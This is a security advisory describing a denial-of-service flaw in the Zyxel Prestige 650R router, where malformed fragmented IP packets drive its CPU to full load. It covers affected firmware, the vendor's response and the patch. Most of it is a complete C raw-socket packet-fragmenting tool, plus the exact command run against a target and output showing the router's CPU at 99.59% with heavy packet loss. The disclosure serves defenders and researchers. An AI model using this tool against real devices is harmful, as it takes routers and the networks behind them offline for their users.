|
|
|
|
| |
Zyxel Prestige 600 Series is "a Popular ADSL Modem and Router".
Prestige 600 fails to handle malformed fragmented IP packets. Whenever Prestige stumbles upon such packets its CPU usage will spike to 100% thus causing denial of service. |
| |
Credit:
The information has been provided by Federico Kirschbaum.
The original article can be found at: http://www.infobyte.com.ar
|
| |
Vulnerable Systems:
* Prestige 650R-31 running ZyNOS FireWall version 3.40(KO.1)
Immune Systems:
* ZyNOS FireWall version 3.40(GT.5)
Vendor Status:
The vendor claims its not a vulnerability, that is rather a "Hardware Limitation". But seems an the last release of it's firmware fixed the problem.
Patch Availability:
Upgrade the firmware to V3.40(GT.5)
Disclosure Timeline:
* 05.02.05 - Initial vendor notification
* 05.03.05 - Initial vendor response
* 05.08.05 - Vendor determined as a HW limitation
* 05.10.05 - No response from vendor to several mails
Exploit:
Any IP crafting tool will do the job, in this case we used a fragmented ip generator coded by Fryx:
/*
* frag
* by: Fryxar
* e-mail: fryxar@yahoo.com.ar
*
* Fragment ICMP packet generator
*/
#include<stdio.h>
#include<netdb.h>
#include<stdlib.h>
#include<errno.h>
#include<unistd.h>
#include<sys/socket.h>
#include<netinet/ip.h>
#include<netinet/ip_icmp.h>
#define ERROR(msg) {perror(msg); exit -1;}
#define FRAGS_ALL 0
#define FRAGS_ODD 1
#define FRAGS_EVEN 2
int open_packet() {
int s, on = 1;
if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
ERROR("socket");
if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0)
ERROR("setsockopt");
return s;
}
unsigned short in_cksum(unsigned short *addr,int len)
{
register int sum = 0;
u_short answer = 0;
register u_short *w = addr;
register int nleft = len;
/*
* Our algorithm is simple, using a 32 bit accumulator (sum), we add
* sequential 16 bit words to it, and at the end, fold back all the
* carry bits from the top 16 bits into the lower 16 bits.
*/
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}
/* mop up an odd byte, if necessary */
if (nleft == 1) {
*(u_char *)(&answer) = *(u_char *)w ;
sum += answer;
}
/* add back carry outs from top 16 bits to low 16 bits */
sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* truncate to 16 bits */
return(answer);
}
int send_packet(int s, struct sockaddr_in saddr, struct sockaddr_in daddr, int protocol, char frags, int id, int frag_len, int tot_len) {
unsigned char packet[IP_MAXPACKET];
struct iphdr *iphdr;
struct icmphdr *icmphdr;
int offset, length;
int start, step;
switch(frags) {
case FRAGS_ALL:
start = 0;
step = (frag_len<<3);
break;
case FRAGS_EVEN:
start = 0;
step = 2*(frag_len<<3);
break;
case FRAGS_ODD:
start = (frag_len<<3);
step = 2*(frag_len<<3);
break;
}
memset(packet, 0, IP_MAXPACKET);
length = sizeof(struct iphdr) + (frag_len<<3);
iphdr = (struct iphdr *)packet;
icmphdr = (struct icmphdr *)(packet + sizeof(struct iphdr));
iphdr->ihl = 5;
iphdr->version = IPVERSION;
iphdr->tot_len = htons(length);
iphdr->id = htons(id);
iphdr->ttl = IPDEFTTL;
iphdr->protocol = protocol;
iphdr->saddr = saddr.sin_addr.s_addr;
iphdr->daddr = daddr.sin_addr.s_addr;
for(offset = start; offset < tot_len; offset += step) {
if(offset) {
// Not first fragment
iphdr->frag_off = htons(offset>>3);
bzero(packet + sizeof(struct iphdr), IP_MAXPACKET
- sizeof(struct iphdr));
} else {
// First fragment
iphdr->frag_off = 0;
if(protocol == IPPROTO_ICMP) {
icmphdr->type = ICMP_ECHO;
icmphdr->code = 0;
icmphdr->un.echo.id = 0;
icmphdr->un.echo.sequence = 0;
icmphdr->checksum = (unsigned short)in_cksum((unsigned short *)icmphdr, tot_len);
}
}
if(offset + (frag_len<<3) < tot_len) {
iphdr->frag_off |= htons(IP_MF);
} else {
length = sizeof(struct iphdr) + tot_len - offset;
iphdr->tot_len = htons(length);
}
iphdr->check = (unsigned short)in_cksum((unsigned short *)iphdr, sizeof(struct iphdr));
if(sendto(s, packet, length, 0x0, (struct sockaddr *)&daddr, sizeof(struct sockaddr)) != length)
ERROR("sendto");
}
}
void usage(char *program) {
fprintf(stderr, "frag v"VERSION"\n"
"usage: %s [options] <source_host> <destination_host>\n\n"
"options:\n"
" -i <id> Starting session id (range: 1-65535)\n"
" -s <fragmentsize> Fragments size (x 8)\n"
" -l <packetsize> Total packet size\n"
" -t <type> Set send policity (odd|even|all)\n"
" -p <protocol> Set protocol (tcp|udp|icmp...)\n"
" -a <n> Amount of packet to send\n"
"\ndefault:\n"
"%s -i 1 -t all -s 7 -p icmp -l 64000 -a 1 my_host.com your_host.com\n"
"\n", program, program);
exit(-1);
}
int main(int argc, char *argv[]) {
char *shost, *dhost;
struct hostent *hostentry;
struct sockaddr_in saddr, daddr;
struct protoent *protoent;
int s, i;
int id = 1, size = 7, len = 64000, amount = 1;
int protocol = IPPROTO_ICMP, type = FRAGS_ALL;
if(argc < 3) usage(argv[0]);
while((i = getopt(argc, argv, "a:i:s:l:t:p:")) != -1) {
switch(i) {
case 'i':
if(strlen(optarg) == 0) usage(argv[0]);
id = atoi(optarg);
break;
case 's':
if(strlen(optarg) == 0) usage(argv[0]);
size = atoi(optarg);
break;
case 'a':
if(strlen(optarg) == 0) usage(argv[0]);
amount = atoi(optarg);
break;
case 'l':
if(strlen(optarg) == 0) usage(argv[0]);
len = atoi(optarg);
break;
case 't':
if(!memcmp(optarg, "odd", 4)) type = FRAGS_ODD;
else if(!memcmp(optarg, "even", 5)) type = FRAGS_EVEN;
else if(!memcmp(optarg, "all", 4)) type = FRAGS_ALL;
else usage(argv[0]);
break;
case 'p':
if((protoent=getprotobyname(optarg)) == NULL) usage(argv[0]);
protocol = protoent->p_proto;
break;
default:
usage(argv[0]);
break;
}
}
shost = argv[argc-2];
dhost = argv[argc-1];
// Source address
if((hostentry = gethostbyname(shost)) == NULL) ERROR("gethostbyname source address");
memset(&saddr, 0, sizeof(struct sockaddr));
saddr.sin_family = AF_INET;
saddr.sin_addr = *((struct in_addr *)hostentry->h_addr);
// Destination address
if((hostentry = gethostbyname(dhost)) == NULL) ERROR("gethostbyname destination address");
memset(&daddr, 0, sizeof(struct sockaddr));
daddr.sin_family = AF_INET;
daddr.sin_addr = *((struct in_addr *)hostentry->h_addr);
// MAIN
s = open_packet();
for(i = 0; i < amount; i++) {
printf("Sending packets with ID %d (frags length=%d, total length=%d)\n",
(id + i)%65535, (size<<3), len);
send_packet(s, saddr, daddr, protocol, type, (id + i)%65535, size, len);
}
close(s);
return(0);
}
Example:
root@r2d2:~/infobyte# ping 192.168.1.252
PING 192.168.1.252 (192.168.1.252): 56 octets data
64 octets from 192.168.1.252: icmp_seq=0 ttl=254 time=2.5 ms
64 octets from 192.168.1.252: icmp_seq=1 ttl=254 time=2.3 ms
--- 192.168.1.252 ping statistics ---
2 packets transmitted, 2 packets received, 0% packet loss
-Prestige Status (Normal)
Ethernet:
Status: 100M/Full Duplex Tx Pkts: 71
Collisions: 0 Rx Pkts: 164
CPU Load = 4.09%
root@r2d2:~/pentest/infobyte# frag-ip -i 1 -t all -s 7 -p tcp -l 64000 -a 1 170.1.2.3 192.168.1.252
Sending packets with ID 1 (frags length=56, total length=64000)
root@r2d2:~/infobyte# ping 192.168.1.252
PING 192.168.1.252 (192.168.1.252): 56 octets data
64 octets from 192.168.1.252: icmp_seq=50 ttl=254 time=1002.3 ms
64 octets from 192.168.1.252: icmp_seq=51 ttl=254 time=7.7 ms
-- 192.168.1.252 ping statistics ---
51 packets transmitted, 2 packets received, 93% packet loss
-Prestige Status (During the denial)
Ethernet:
Status: 100M/Full Duplex Tx Pkts: 71
Collisions: 0 Rx Pkts: 164
CPU Load = 99.59%
|
|
|
|
|
|
|